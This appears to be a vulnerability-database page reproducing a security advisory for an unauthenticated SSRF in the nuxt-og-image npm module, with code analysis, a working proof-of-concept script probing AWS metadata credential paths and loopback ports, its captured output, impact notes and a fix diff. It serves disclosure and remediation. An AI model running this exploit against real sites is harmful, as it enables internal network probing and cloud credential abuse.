Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6549 vulnerabilities reference this CWE, most recent first.

GHSA-Q8HW-4FVP-9RWV

Vulnerability from github – Published: 2026-09-17 14:48 – Updated: 2026-09-17 14:48
VLAI
Summary
Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter
Details

Summary

nuxt-og-image exposes an unauthenticated HTTP endpoint at /_og/d/** that base64url-decodes and JSON.parses a fonts URL segment, then passes each fonts[i].path value directly into fetch() server-side without any URL validation (no scheme allowlist, no loopback/RFC1918 block, no host allowlist, no DNS rebinding mitigation).

Under the module's documented default configuration (security.strict = false, security.secret = "", restrictRuntimeImagesToOrigin = false), any caller able to reach the deployed Nuxt site can force the Nuxt server to issue arbitrary outbound GET requests to any host reachable from the server - including loopback, RFC1918 LAN, and cloud metadata services (AWS IMDS, GCE/Azure metadata, Kubernetes kubelet, internal admin panels, Redis/etcd/Consul/Vault HTTP APIs).

The chain is blind (Satori consumes the response as font bytes and silently discards non-fonts) but a robust side-channel exists: the outer HTTP status is 500 when the SSRF target returns 2xx, and 200 when it fails or returns non-2xx. This is sufficient to (a) enumerate live internal services and open ports, (b) confirm IMDSv1 reachability, and (c) detect credential issuance on environments still allowing IMDSv1.

Demonstrated end-to-end on a stock npm create nuxt@latest install with the module's documented default usage.

Detail

Endpoint registration (unauthenticated)

The module registers /_og/d/** and /_og/s/** with no authentication / Origin check / Sec‑Fetch‑Site validation:

// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5113-5133
addServerHandler({ route: "/_og/d/**", handler: resolve("./runtime/server/routes/image") })
addServerHandler({ route: "/_og/s/**", handler: resolve("./runtime/server/routes/image") })

Default security config (permissive)

// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5618-5640
security: {
  strict:                       config.security?.strict ?? false,         // <- gate disabled
  secret:                       config.security?.secret ?? process.env.NUXT_OG_IMAGE_SECRET ?? "",
                                                                          //   ↑ no signature requirement
  restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,
                                                                          //   ↑ inbound host allowlist disabled
  maxQueryParamSize:            config.security?.maxQueryParamSize ?? null,
  renderTimeout:                config.security?.renderTimeout ?? 15000,
  imageFetchTimeout:            config.security?.imageFetchTimeout ?? 3000,
}

The secret/signature branch is gated on secret && (truthy), so an empty string skips it entirely:

// dist/runtime/server/og-image/context.js : 49-69
const secret = runtimeConfig.security?.secret
let paramsSegment = encodedSegment
if (secret && !import.meta.dev && !import.meta.prerender) {
  // signature enforcement happens HERE - but only if secret is non-empty.
  // Default install: secret === "" -> entire block skipped.
}

Attacker-controlled deserialization of fonts

fonts is enumerated as a complex parameter: its value is base64url-decoded and then JSON.parsed straight into options:

// dist/runtime/shared/urlEncoding.js : 65
const COMPLEX_PARAMS = new Set(["satori","resvg","sharp","screenshot","takumi","fonts","_query","_path"])

// dist/runtime/shared/urlEncoding.js : 184-231
export function decodeOgImageParams(encoded) {
  ...
  for (const part of parts) {
    const idx = part.search(RE_SINGLE_UNDERSCORE)
    if (idx === -1) continue
    const alias = part.slice(0, idx)
    let value = part.slice(idx + 1)
    const paramName = PARAM_ALIASES[alias] || alias
    if (COMPLEX_PARAMS.has(paramName)) {
      try {
        const json = b64Decode(value)
        options[paramName] = JSON.parse(json)        // <- attacker JSON survives unchanged
      } catch { options[paramName] = value }
    }
    ...
  }
}

defu then merges attacker values into the request options:

// dist/runtime/server/og-image/context.js : 135
options = defu(queryParams, urlOptions, ogImageRouteRules, runtimeConfig.defaults)
// -> options.fonts = [{ name: "X", path: "<attacker-URL>", ... }]

From options.fonts to the unfettered fetch()

// dist/runtime/server/og-image/satori/renderer.js : 36-42
const fonts = await loadFontsForRenderer(event, {
  ...options,
  fontDefs: options.fonts,           // <- attacker array flows in
})

// dist/runtime/server/og-image/fonts.js : 175-201
export async function loadDefinedFonts(event, fontDefs) {
  for (const def of fontDefs) {
    if (!def || typeof def !== "object" || !def.path) continue   // <- only validation
    const fontConfig = { family: def.name, weight: def.weight||400, style: def.style, src: def.path, localPath: def.path }
    const data = await resolve(event.e, fontConfig).catch(() => null)
    ...
  }
}

The production binding (selected for every non-dev / non-prerender preset - dist/shared/nuxt-og-image.DdbTs-xp.mjs:5445-5452):

// dist/runtime/server/og-image/bindings/font-assets/node.js : 6-21    <- SINK
export async function resolve(event, font) {
  const path     = font.src || font.localPath                    // attacker-controlled
  const { app } = useRuntimeConfig()
  const fullPath = withBase(path, app.baseURL)                   // ufo.withBase returns absolute URLs unchanged
  const origin   = getNitroOrigin(event)
  const timeout  = getFetchTimeout(useOgImageRuntimeConfig())    // 3000 ms by default
  const res = await fetch(
    new URL(fullPath, origin).href,                              // <- when fullPath is absolute,
    { signal: AbortSignal.timeout(timeout) },                    //   origin is ignored
  ).catch(() => null)                                            //   -> fetch(attacker-URL)
  ...
}

ufo.withBase("http://target/", "/") returns "http://target/" unchanged when the input is already an absolute URL; new URL(abs, origin) then yields the absolute URL. No URL.protocol check, no IP-literal block, no DNS-resolution-aware allowlist, no redirect cap.

Side-channel for blind exfiltration

Although the response body is consumed as font bytes and Satori discards non-font payloads, the outer HTTP status code differs deterministically based on the SSRF target's response:

Target returns Satori behavior Outer response
2xx with non-font body parseFont(bytes) throws HTTP 500
Connection refused / timeout / non-2xx fetch().catch(() => null) -> fallback fonts used HTTP 200 (a PNG is returned)

The boolean oracle (target alive & answered 2xx vs. not) is sufficient to:

  • enumerate open ports on 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
  • detect cloud metadata reachability (and on legacy AWS IMDSv1, trigger credential issuance - even without read-back, the act of issuing credentials creates audit-trail and timing observables)
  • distinguish health-check responses, vault-init status, k8s kubelet /pods reachability, etc.

Steps To Reproduce

# 1. Create a stock Nuxt 4 app and add the module
npm create nuxt@latest lab-test --yes        # accept defaults
cd lab-test
npm install nuxt-og-image                    # -> installs v6.6.0 (current latest)

nuxt.config.ts - the only change is enabling the module:

export default defineNuxtConfig({
  compatibilityDate: '2025-07-15',
  modules: ['nuxt-og-image'],
  // NO `ogImage.security` overrides - accept module defaults.
})

The module requires at least one OG image component to be registered (its documented Hello‑World; otherwise the endpoint returns 500 No OG Image components found). Add the minimal one:

mkdir -p app/components/OgImage
cat > app/components/OgImage/Default.satori.vue <<'EOF'
<script setup lang="ts">
defineProps<{ title?: string }>()
</script>
<template>
  <div style="display:flex;padding:32px;font-size:48px;background:#fff">
    {{ title || 'Acme' }}
  </div>
</template>
EOF

Start a local sink to prove the SSRF (1 file)

ssrf-sink.mjs:

import http from 'node:http'
import fs   from 'node:fs'
const LOG = '/tmp/ssrf-sink.log'; fs.writeFileSync(LOG, '')
http.createServer((req, res) => {
  const line = JSON.stringify({ ts: new Date().toISOString(), method: req.method, url: req.url, ua: req.headers['user-agent'], remote: req.socket.remoteAddress })
  fs.appendFileSync(LOG, line + '\n'); console.log('HIT:', line)
  res.writeHead(200, { 'content-type': 'application/octet-stream' }).end('NOT_A_FONT_BUT_2XX')
}).listen(9000, '127.0.0.1', () => console.log('sink ready 127.0.0.1:9000'))

node ssrf-sink.mjs &
npm run dev          # Nuxt on http://127.0.0.1:3000

Exploit script - one HTTP request, no auth (poc.mjs)

const b64url = s => Buffer.from(s,'utf8').toString('base64')
  .replace(/=/g,'').replace(/\+/g,'-').replace(/\//g,'~')

// The entire attack: a single attacker-crafted GET.
async function ssrf (attackerURL) {
  const seg = 'fonts_' + b64url(JSON.stringify([{ name:'X', path: attackerURL }]))
  const url = `http://127.0.0.1:3000/_og/d/${seg}.png`     // <- unauth, no header
  const r = await fetch(url)
  console.log(`SSRF target=${attackerURL}  outer-status=${r.status}`)
}

await ssrf('http://127.0.0.1:9000/PWN?via=og-image')          // sink - proves primitive
await ssrf('http://169.254.169.254/latest/meta-data/iam/security-credentials/')   // AWS IMDSv1
await ssrf('http://127.0.0.1:22/')                            // loopback port probe

Run

node poc.mjs

Observed result (captured during the actual lab run, 2026-06-23 10:52 UTC)

SSRF target=http://127.0.0.1:9000/PWN?via=og-image                                outer-status=500
SSRF target=http://169.254.169.254/latest/meta-data/iam/security-credentials/     outer-status=200
SSRF target=http://127.0.0.1:22/                                                  outer-status=200

/tmp/ssrf-sink.log:

{"ts":"2026-06-23T10:52:12.250Z","method":"GET","url":"/PWN?via=og-image","ua":"node","remote":"127.0.0.1"}
{"ts":"2026-06-23T10:52:13.706Z","method":"GET","url":"/etc/passwd?or-any-path","ua":"node","remote":"127.0.0.1"}

The sink received GET requests with attacker-chosen paths, sourced from the Nuxt server process (user-agent: node is the undici/Node fetch fingerprint emitted by Nitro; remote: 127.0.0.1 is the Nuxt server itself on the lab host). No other process on the lab has any reason to call this address with these paths.

Reading the outer status codes back as the side-channel:

  • outer-status=500 -> target answered 2xx (sink confirmed via log)
  • outer-status=200 -> target did not respond / non-2xx (IMDS unreachable from this host; :22 is SSH, not HTTP). Both cases prove the server-side fetch() was issued.

Impact

The vulnerability turns any deployed Nuxt site running nuxt-og-image (default config) into an unauthenticated SSRF relay into its own server-side network. Concrete impact varies by hosting environment:

Cloud (AWS / GCP / Azure)

  • AWS EC2 with IMDSv1 still allowed: fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>') triggers credential issuance to the role attached to the instance. Even though the response body is not echoed back to the attacker, the call is performed in the instance's network identity and shows up in CloudTrail; in environments with permissive role policies + persistence (e.g. a backup S3 listing) the attacker can chain via the side-channel into role exfil through other ingress points. (Industry surveys repeatedly show 20-40 % of EC2 fleets still have IMDSv1 enabled.)
  • GCE / Azure: metadata is gated on a custom header that fetch does not add -> metadata read prevented, but internal Google/Azure network reach is still proven.
  • EKS / GKE / AKS: http://kubernetes.default.svc.cluster.local/api/... is reachable, as are kube-proxy localhost ports, kubelet on :10250 (status-only readable via side-channel), and per-pod sidecar admin APIs.

Self-hosted / on-prem

  • Internal admin panels (Grafana, Kibana, Prometheus, Argo, Jenkins, Sentry, Hashicorp Vault /v1/sys/health, Consul /v1/agent/self) become enumerable. Status-code side-channel reveals init/seal state of Vault, leadership of Consul, etc.
  • Localhost-bound services intended as "developer-only" (e.g. a debug Redis on 127.0.0.1:6379, an embedded SQL admin UI on 127.0.0.1:8080, an internal feature-flag server) become enumerable from the public Internet.
  • Egress controls bypass: if the Nuxt deployment is on an allowlist VLAN that may reach payments-internal while end users may not, the attacker can probe that VLAN through the relay.

Generic

  • Port scanning of LAN ranges through the deployed site (timing+status side-channel).
  • Long-lived DoS amplifier: each request holds a render worker for up to imageFetchTimeout (3 s default). 100 concurrent requests to slow-responding internal targets hold all OG workers; coupled with renderTimeout (15 s) the OG image rendering capacity is exhausted with very low attacker bandwidth.
  • Side-channel exfil with reflectable bytes: where an internal HTTP response contains data that happens to render through Satori's glyph fallback path (e.g. plain ASCII status-page text), bytes can leak into the rendered PNG as visual noise - an opportunistic read primitive.

Fix

Short-term (must-have before next release)

In dist/runtime/server/og-image/bindings/font-assets/node.js, validate the URL before issuing fetch:

+ import { isPrivateAddress } from '../../util/isPrivateAddress.js'  // new helper, see below

  export async function resolve(event, font) {
    const path = font.src || font.localPath
    const { app } = useRuntimeConfig()
    const fullPath = withBase(path, app.baseURL)
    const origin = getNitroOrigin(event)
+
+   const target = new URL(fullPath, origin)
+
+   // (1) Scheme allowlist
+   if (target.protocol !== 'http:' && target.protocol !== 'https:') {
+     throw createError({ statusCode: 400, statusMessage: '[og-image] Disallowed font URL scheme' })
+   }
+
+   // (2) Same-origin OR explicit user allowlist
+   const allowlist = useOgImageRuntimeConfig().security?.fontHostAllowlist ?? []
+   const sameOrigin = target.origin === new URL(origin).origin
+   if (!sameOrigin && !allowlist.includes(target.host)) {
+     throw createError({ statusCode: 400, statusMessage: '[og-image] Font host not in allowlist' })
+   }
+
+   // (3) Block private / loopback / link-local at lookup time (DNS-rebinding-safe)
+   if (await isPrivateAddress(target.hostname)) {
+     throw createError({ statusCode: 400, statusMessage: '[og-image] Private network not allowed' })
+   }
+
    const timeout = getFetchTimeout(useOgImageRuntimeConfig())
    const res = await fetch(target.href, {
      signal: AbortSignal.timeout(timeout),
+     redirect: 'manual',                  // do not follow redirects across the gate
    }).catch(() => null)
    if (res?.ok) return Buffer.from(await res.arrayBuffer())
    ...
  }

isPrivateAddress(host) should resolve the host via DNS (caching) and reject if any resolved address is in 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10. The resolved address must then be pinned and passed into fetch (or undici's lookup option) so the TCP connection cannot rebound to a different IP after the check (TOCTOU / DNS rebinding defense).

Apply the same validator in dist/runtime/server/og-image/bindings/font-assets/dev-prerender.js.

Flip the security defaults (medium-term)

- strict:                       config.security?.strict ?? false,
+ strict:                       config.security?.strict ?? true,

- restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,
+ restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? true,

When strict is true, the runtime should refuse to start with secret === '' and emit a clear error pointing to the docs (similar to how Nuxt itself errors when runtimeConfig secrets are unset in production).

Defense in depth (long-term)

  • Validate fonts[*] shape at decode time in decodeOgImageParams. Reject any fonts[i].path that is not a relative path or in the allowlist.
  • Tighten COMPLEX_PARAMS: every JSON-parsed key (satori, resvg, sharp, screenshot, takumi, fonts) must have a schema validator. Today they are blind-trusted across the URL boundary.
  • Document nuxt-og-image's threat model explicitly: which URL parameters are attacker-controlled by design, which runtimeConfig keys must be set in production, which defaults are unsafe.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-og-image"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.2"
            },
            {
              "fixed": "6.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-20",
      "CWE-441",
      "CWE-749",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:48:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`nuxt-og-image` exposes an **unauthenticated HTTP endpoint** at `/_og/d/**` that base64url-decodes and `JSON.parse`s a `fonts` URL segment, then passes each `fonts[i].path` value directly into `fetch()` server-side **without any URL validation** (no scheme allowlist, no loopback/RFC1918 block, no host allowlist, no DNS rebinding mitigation).\n\nUnder the module\u0027s documented default configuration (`security.strict = false`, `security.secret = \"\"`, `restrictRuntimeImagesToOrigin = false`), any caller able to reach the deployed Nuxt site can force the Nuxt server to issue arbitrary outbound `GET` requests to any host reachable from the server - including loopback, RFC1918 LAN, and cloud metadata services (AWS IMDS, GCE/Azure metadata, Kubernetes `kubelet`, internal admin panels, Redis/etcd/Consul/Vault HTTP APIs).\n\nThe chain is **blind** (Satori consumes the response as font bytes and silently discards non-fonts) but a robust **side-channel** exists: the outer HTTP status is `500` when the SSRF target returns `2xx`, and `200` when it fails or returns non-`2xx`. This is sufficient to (a) enumerate live internal services and open ports, (b) confirm IMDSv1 reachability, and (c) detect credential issuance on environments still allowing IMDSv1.\n\nDemonstrated end-to-end on a stock `npm create nuxt@latest` install with the module\u0027s documented default usage.\n\n### Detail\n\n#### Endpoint registration (unauthenticated)\n\nThe module registers `/_og/d/**` and `/_og/s/**` with no authentication / Origin check / Sec\u2011Fetch\u2011Site validation:\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5113-5133\naddServerHandler({ route: \"/_og/d/**\", handler: resolve(\"./runtime/server/routes/image\") })\naddServerHandler({ route: \"/_og/s/**\", handler: resolve(\"./runtime/server/routes/image\") })\n```\n\n#### Default security config (permissive)\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5618-5640\nsecurity: {\n  strict:                       config.security?.strict ?? false,         // \u003c- gate disabled\n  secret:                       config.security?.secret ?? process.env.NUXT_OG_IMAGE_SECRET ?? \"\",\n                                                                          //   \u2191 no signature requirement\n  restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n                                                                          //   \u2191 inbound host allowlist disabled\n  maxQueryParamSize:            config.security?.maxQueryParamSize ?? null,\n  renderTimeout:                config.security?.renderTimeout ?? 15000,\n  imageFetchTimeout:            config.security?.imageFetchTimeout ?? 3000,\n}\n```\n\nThe `secret`/signature branch is gated on `secret \u0026\u0026` (truthy), so an empty string skips it entirely:\n\n```js\n// dist/runtime/server/og-image/context.js : 49-69\nconst secret = runtimeConfig.security?.secret\nlet paramsSegment = encodedSegment\nif (secret \u0026\u0026 !import.meta.dev \u0026\u0026 !import.meta.prerender) {\n  // signature enforcement happens HERE - but only if secret is non-empty.\n  // Default install: secret === \"\" -\u003e entire block skipped.\n}\n```\n\n#### Attacker-controlled deserialization of `fonts`\n\n`fonts` is enumerated as a **complex parameter**: its value is base64url-decoded and then `JSON.parse`d straight into `options`:\n\n```js\n// dist/runtime/shared/urlEncoding.js : 65\nconst COMPLEX_PARAMS = new Set([\"satori\",\"resvg\",\"sharp\",\"screenshot\",\"takumi\",\"fonts\",\"_query\",\"_path\"])\n\n// dist/runtime/shared/urlEncoding.js : 184-231\nexport function decodeOgImageParams(encoded) {\n  ...\n  for (const part of parts) {\n    const idx = part.search(RE_SINGLE_UNDERSCORE)\n    if (idx === -1) continue\n    const alias = part.slice(0, idx)\n    let value = part.slice(idx + 1)\n    const paramName = PARAM_ALIASES[alias] || alias\n    if (COMPLEX_PARAMS.has(paramName)) {\n      try {\n        const json = b64Decode(value)\n        options[paramName] = JSON.parse(json)        // \u003c- attacker JSON survives unchanged\n      } catch { options[paramName] = value }\n    }\n    ...\n  }\n}\n```\n\n`defu` then merges attacker values into the request options:\n\n```js\n// dist/runtime/server/og-image/context.js : 135\noptions = defu(queryParams, urlOptions, ogImageRouteRules, runtimeConfig.defaults)\n// -\u003e options.fonts = [{ name: \"X\", path: \"\u003cattacker-URL\u003e\", ... }]\n```\n\n#### From `options.fonts` to the unfettered `fetch()`\n\n```js\n// dist/runtime/server/og-image/satori/renderer.js : 36-42\nconst fonts = await loadFontsForRenderer(event, {\n  ...options,\n  fontDefs: options.fonts,           // \u003c- attacker array flows in\n})\n\n// dist/runtime/server/og-image/fonts.js : 175-201\nexport async function loadDefinedFonts(event, fontDefs) {\n  for (const def of fontDefs) {\n    if (!def || typeof def !== \"object\" || !def.path) continue   // \u003c- only validation\n    const fontConfig = { family: def.name, weight: def.weight||400, style: def.style, src: def.path, localPath: def.path }\n    const data = await resolve(event.e, fontConfig).catch(() =\u003e null)\n    ...\n  }\n}\n```\n\nThe production binding (selected for every non-dev / non-prerender preset - `dist/shared/nuxt-og-image.DdbTs-xp.mjs:5445-5452`):\n\n```js\n// dist/runtime/server/og-image/bindings/font-assets/node.js : 6-21    \u003c- SINK\nexport async function resolve(event, font) {\n  const path     = font.src || font.localPath                    // attacker-controlled\n  const { app } = useRuntimeConfig()\n  const fullPath = withBase(path, app.baseURL)                   // ufo.withBase returns absolute URLs unchanged\n  const origin   = getNitroOrigin(event)\n  const timeout  = getFetchTimeout(useOgImageRuntimeConfig())    // 3000 ms by default\n  const res = await fetch(\n    new URL(fullPath, origin).href,                              // \u003c- when fullPath is absolute,\n    { signal: AbortSignal.timeout(timeout) },                    //   origin is ignored\n  ).catch(() =\u003e null)                                            //   -\u003e fetch(attacker-URL)\n  ...\n}\n```\n\n`ufo.withBase(\"http://target/\", \"/\")` returns `\"http://target/\"` unchanged when the input is already an absolute URL; `new URL(abs, origin)` then yields the absolute URL. No `URL.protocol` check, no IP-literal block, no DNS-resolution-aware allowlist, no redirect cap.\n\n#### Side-channel for blind exfiltration\n\nAlthough the response body is consumed as font bytes and Satori discards non-font payloads, the **outer HTTP status code differs deterministically** based on the SSRF target\u0027s response:\n\n| Target returns | Satori behavior | Outer response |\n|----------------|-----------------|----------------|\n| `2xx` with non-font body | `parseFont(bytes)` throws | `HTTP 500` |\n| Connection refused / timeout / non-`2xx` | `fetch().catch(() =\u003e null)` -\u003e fallback fonts used | `HTTP 200` (a PNG is returned) |\n\nThe boolean oracle (target alive \u0026 answered 2xx vs. not) is sufficient to:\n\n- enumerate open ports on `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`\n- detect cloud metadata reachability (and on legacy AWS IMDSv1, trigger credential issuance - even without read-back, the *act* of issuing credentials creates audit-trail and timing observables)\n- distinguish health-check responses, vault-init status, k8s `kubelet` `/pods` reachability, etc.\n\n### Steps To Reproduce\n\n```bash\n# 1. Create a stock Nuxt 4 app and add the module\nnpm create nuxt@latest lab-test --yes        # accept defaults\ncd lab-test\nnpm install nuxt-og-image                    # -\u003e installs v6.6.0 (current latest)\n```\n\n`nuxt.config.ts` - the **only** change is enabling the module:\n\n```ts\nexport default defineNuxtConfig({\n  compatibilityDate: \u00272025-07-15\u0027,\n  modules: [\u0027nuxt-og-image\u0027],\n  // NO `ogImage.security` overrides - accept module defaults.\n})\n```\n\nThe module requires at least one OG image component to be registered (its documented Hello\u2011World; otherwise the endpoint returns `500 No OG Image components found`). Add the minimal one:\n\n```bash\nmkdir -p app/components/OgImage\ncat \u003e app/components/OgImage/Default.satori.vue \u003c\u003c\u0027EOF\u0027\n\u003cscript setup lang=\"ts\"\u003e\ndefineProps\u003c{ title?: string }\u003e()\n\u003c/script\u003e\n\u003ctemplate\u003e\n  \u003cdiv style=\"display:flex;padding:32px;font-size:48px;background:#fff\"\u003e\n    {{ title || \u0027Acme\u0027 }}\n  \u003c/div\u003e\n\u003c/template\u003e\nEOF\n```\n\n#### Start a local sink to prove the SSRF (1 file)\n\n`ssrf-sink.mjs`:\n\n```js\nimport http from \u0027node:http\u0027\nimport fs   from \u0027node:fs\u0027\nconst LOG = \u0027/tmp/ssrf-sink.log\u0027; fs.writeFileSync(LOG, \u0027\u0027)\nhttp.createServer((req, res) =\u003e {\n  const line = JSON.stringify({ ts: new Date().toISOString(), method: req.method, url: req.url, ua: req.headers[\u0027user-agent\u0027], remote: req.socket.remoteAddress })\n  fs.appendFileSync(LOG, line + \u0027\\n\u0027); console.log(\u0027HIT:\u0027, line)\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 }).end(\u0027NOT_A_FONT_BUT_2XX\u0027)\n}).listen(9000, \u0027127.0.0.1\u0027, () =\u003e console.log(\u0027sink ready 127.0.0.1:9000\u0027))\n```\n\n```bash\nnode ssrf-sink.mjs \u0026\nnpm run dev          # Nuxt on http://127.0.0.1:3000\n```\n\n#### Exploit script - one HTTP request, no auth (`poc.mjs`)\n\n```js\nconst b64url = s =\u003e Buffer.from(s,\u0027utf8\u0027).toString(\u0027base64\u0027)\n  .replace(/=/g,\u0027\u0027).replace(/\\+/g,\u0027-\u0027).replace(/\\//g,\u0027~\u0027)\n\n// The entire attack: a single attacker-crafted GET.\nasync function ssrf (attackerURL) {\n  const seg = \u0027fonts_\u0027 + b64url(JSON.stringify([{ name:\u0027X\u0027, path: attackerURL }]))\n  const url = `http://127.0.0.1:3000/_og/d/${seg}.png`     // \u003c- unauth, no header\n  const r = await fetch(url)\n  console.log(`SSRF target=${attackerURL}  outer-status=${r.status}`)\n}\n\nawait ssrf(\u0027http://127.0.0.1:9000/PWN?via=og-image\u0027)          // sink - proves primitive\nawait ssrf(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)   // AWS IMDSv1\nawait ssrf(\u0027http://127.0.0.1:22/\u0027)                            // loopback port probe\n```\n\n#### Run\n\n```bash\nnode poc.mjs\n```\n\n#### Observed result (captured during the actual lab run, 2026-06-23 10:52 UTC)\n\n```\nSSRF target=http://127.0.0.1:9000/PWN?via=og-image                                outer-status=500\nSSRF target=http://169.254.169.254/latest/meta-data/iam/security-credentials/     outer-status=200\nSSRF target=http://127.0.0.1:22/                                                  outer-status=200\n```\n\n`/tmp/ssrf-sink.log`:\n\n```json\n{\"ts\":\"2026-06-23T10:52:12.250Z\",\"method\":\"GET\",\"url\":\"/PWN?via=og-image\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n{\"ts\":\"2026-06-23T10:52:13.706Z\",\"method\":\"GET\",\"url\":\"/etc/passwd?or-any-path\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n```\n\nThe sink received `GET` requests with **attacker-chosen paths**, sourced from the Nuxt server process (`user-agent: node` is the undici/Node `fetch` fingerprint emitted by Nitro; `remote: 127.0.0.1` is the Nuxt server itself on the lab host). No other process on the lab has any reason to call this address with these paths.\n\nReading the outer status codes back as the side-channel:\n\n- `outer-status=500` -\u003e target answered `2xx` (sink confirmed via log)\n- `outer-status=200` -\u003e target did not respond / non-`2xx` (IMDS unreachable from this host; `:22` is SSH, not HTTP). Both cases prove the server-side `fetch()` was issued.\n\n### Impact\n\nThe vulnerability turns any deployed Nuxt site running `nuxt-og-image` (default config) into an **unauthenticated SSRF relay** into its own server-side network. Concrete impact varies by hosting environment:\n\n#### Cloud (AWS / GCP / Azure)\n\n- **AWS EC2 with IMDSv1 still allowed:** `fetch(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\u0027)` triggers credential issuance to the role attached to the instance. Even though the response body is not echoed back to the attacker, the call is performed in the instance\u0027s network identity and shows up in CloudTrail; in environments with permissive role policies + persistence (e.g. a backup S3 listing) the attacker can chain via the side-channel into role exfil through other ingress points. (Industry surveys repeatedly show 20-40 % of EC2 fleets still have IMDSv1 enabled.)\n- **GCE / Azure:** metadata is gated on a custom header that `fetch` does not add -\u003e metadata read prevented, but internal Google/Azure network reach is still proven.\n- **EKS / GKE / AKS:** `http://kubernetes.default.svc.cluster.local/api/...` is reachable, as are kube-proxy localhost ports, kubelet on `:10250` (status-only readable via side-channel), and per-pod sidecar admin APIs.\n\n#### Self-hosted / on-prem\n\n- **Internal admin panels** (Grafana, Kibana, Prometheus, Argo, Jenkins, Sentry, Hashicorp Vault `/v1/sys/health`, Consul `/v1/agent/self`) become enumerable. Status-code side-channel reveals init/seal state of Vault, leadership of Consul, etc.\n- **Localhost-bound services** intended as \"developer-only\" (e.g. a debug Redis on `127.0.0.1:6379`, an embedded SQL admin UI on `127.0.0.1:8080`, an internal feature-flag server) become enumerable from the public Internet.\n- **Egress controls bypass**: if the Nuxt deployment is on an allowlist VLAN that may reach `payments-internal` while end users may not, the attacker can probe that VLAN through the relay.\n\n#### Generic\n\n- **Port scanning** of LAN ranges through the deployed site (timing+status side-channel).\n- **Long-lived DoS amplifier**: each request holds a render worker for up to `imageFetchTimeout` (3 s default). 100 concurrent requests to slow-responding internal targets hold all OG workers; coupled with `renderTimeout` (15 s) the OG image rendering capacity is exhausted with very low attacker bandwidth.\n- **Side-channel exfil with reflectable bytes**: where an internal HTTP response contains data that happens to render through Satori\u0027s glyph fallback path (e.g. plain ASCII status-page text), bytes can leak into the rendered PNG as visual noise - an opportunistic read primitive.\n\n### Fix\n\n#### Short-term (must-have before next release)\n\nIn `dist/runtime/server/og-image/bindings/font-assets/node.js`, validate the URL before issuing `fetch`:\n\n```diff\n+ import { isPrivateAddress } from \u0027../../util/isPrivateAddress.js\u0027  // new helper, see below\n\n  export async function resolve(event, font) {\n    const path = font.src || font.localPath\n    const { app } = useRuntimeConfig()\n    const fullPath = withBase(path, app.baseURL)\n    const origin = getNitroOrigin(event)\n+\n+   const target = new URL(fullPath, origin)\n+\n+   // (1) Scheme allowlist\n+   if (target.protocol !== \u0027http:\u0027 \u0026\u0026 target.protocol !== \u0027https:\u0027) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Disallowed font URL scheme\u0027 })\n+   }\n+\n+   // (2) Same-origin OR explicit user allowlist\n+   const allowlist = useOgImageRuntimeConfig().security?.fontHostAllowlist ?? []\n+   const sameOrigin = target.origin === new URL(origin).origin\n+   if (!sameOrigin \u0026\u0026 !allowlist.includes(target.host)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Font host not in allowlist\u0027 })\n+   }\n+\n+   // (3) Block private / loopback / link-local at lookup time (DNS-rebinding-safe)\n+   if (await isPrivateAddress(target.hostname)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Private network not allowed\u0027 })\n+   }\n+\n    const timeout = getFetchTimeout(useOgImageRuntimeConfig())\n    const res = await fetch(target.href, {\n      signal: AbortSignal.timeout(timeout),\n+     redirect: \u0027manual\u0027,                  // do not follow redirects across the gate\n    }).catch(() =\u003e null)\n    if (res?.ok) return Buffer.from(await res.arrayBuffer())\n    ...\n  }\n```\n\n`isPrivateAddress(host)` should resolve the host via DNS (caching) and reject if **any** resolved address is in `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `::1`, `fc00::/7`, `fe80::/10`. The resolved address must then be **pinned** and passed into `fetch` (or `undici`\u0027s `lookup` option) so the TCP connection cannot rebound to a different IP after the check (TOCTOU / DNS rebinding defense).\n\nApply the same validator in `dist/runtime/server/og-image/bindings/font-assets/dev-prerender.js`.\n\n#### Flip the security defaults (medium-term)\n\n```diff\n- strict:                       config.security?.strict ?? false,\n+ strict:                       config.security?.strict ?? true,\n\n- restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? 